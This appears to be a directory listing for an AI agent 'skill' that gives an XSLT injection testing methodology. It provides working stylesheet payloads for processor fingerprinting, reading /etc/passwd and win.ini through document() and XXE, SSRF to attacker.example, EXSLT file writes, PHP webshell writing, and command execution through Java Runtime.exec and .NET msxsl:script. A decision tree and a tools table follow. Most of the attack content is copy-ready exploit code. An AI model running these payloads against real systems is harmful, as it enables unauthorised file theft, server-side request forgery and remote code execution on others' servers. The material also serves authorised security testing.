SuperAPI AI Directory

xslt-injection

Security & auditing

View repository

Updated 10-16 08:08

About this skill

XSLT injection testing methodology

XSLT injection occurs whenattacker-controllable XSLT is compiled/executed by the server. The key is to firstidentify the processor type(Java/.NET/PHP/libxslt), then choose an attack path by platform.


0. Quick start

  1. Find the injection point: parameter names contain xslt, stylesheet, transform, template, SOAP stylesheets, report generators, XML→HTML converters
  2. Probe for reflection: inject a unique namespace or xsl:value-of select="'marker'" — if the output changes, execution is confirmed
  3. Fingerprintingthe processor (§1)
  4. Escalate the attack:document()(§2)、XXE(§3)、EXSLT file write(§4)、PHP RCE(§5)、Java RCE(§6)、.NET RCE(§7)

Harmless probe payload:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

1. Processor fingerprinting

Use the standard system-property to read:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

Fingerprint reference table:

Signal Engine
Apache Software Foundation / Xalan markers Xalan(Java)
Saxonica / Saxon URI Saxon
libxslt / GNOME stack libxslt (C, common in PHP/nginx)
Microsoft URL / MSXML strings MSXML / .NET XSLT stack

Based on the results, choose a path from §5–§7.


2. File read — document()

document() loads another XML document into a node-set; local files are usually parsed as XML (noisy), buterrors and partial readscan still leak information.

Unix:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows:

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / out-of-band:

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

If the data is not returned directly to the client, you can combine witherror echoortime differencesfor observation.


3. XXE via XSLT (external entities)

XSLT 1.0 allows the use of DTD external entitiesin stylesheets (when the parser allows DTDs):

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

Hardened parsers disable external DTDs — failure here does not mean other XSLT vectors (§2) are unavailable.


4. File write — EXSLT (exslt:document)

When the EXSLT common extension is enabled:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Impact: arbitrary file write wherever path permissions allow — often can achieve RCE。


5. RCE — PHP (php:function)

Requires the scenario where PHP XSLT has registerPHPFunctions() enabled (misconfigured application):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

Directory listing:

<xsl:value-of select="php:function('scandir','.')"/>

Dangerous operations(verify only in a lab environment):

  • php:function('file_put_contents','/var/www/shell.php','<?php ...') — Webshell write
  • php:function('assert', string($payload)) — legacy PHP code execution

Note: modern PHP hardening usuallypreventsthese; the absence of RCE does not mean document()/XXE is unavailable.


6. RCE — Java (Saxon / Xalan extensions)

Java engines may exposeextension functions。

Xalan style(conceptual — adjust to the actual version and extension bindings):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon style:

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C whoami')

If extensions are disabled (a common secure default), pivot to document(), SSRF, or other attack surfaces.


7. RCE — .NET (msxsl:script)

When Microsoft XSLT script blocksare enabled:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

Default secure configurations usually disable scripting — this path is only valid when enabled.


In-depth reference

8. Decision tree

用户可控 XSLT 或 XML 转换?
                    |
                   否 → 不在范围
                    |
                   是
                    |
        +-----------+-----------+
        |                       |
   输出反射                   无反射
   注入逻辑?              尝试盲通道
        |                       |
        v                       v
  system-property()        错误/OOB/时间差
  指纹识别引擎                   |
        |                       |
    +---+---+---+           document()
    |       |   |               |
  libxslt Java .NET          SSRF/文件读
    |       |   |               |
 document() Saxon/ msxsl:script? EXSLT?
 EXSLT写   Xalan     |            |
    |     扩展?  C# Process    记录证据
    v       v      v
 文件读/写 rt:exec cmd.exe /c

9. Tools

Category Tool
Proxy/manual Burp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors
XML/XSLT lab environment Match the targetexactly identicalprocessor (PHP libxslt / Java Saxon version / .NET framework)
Out-of-band Collaborator / private callback server for document('http://…')

No general-purpose scanner can replaceversion-specificbehavioral verification.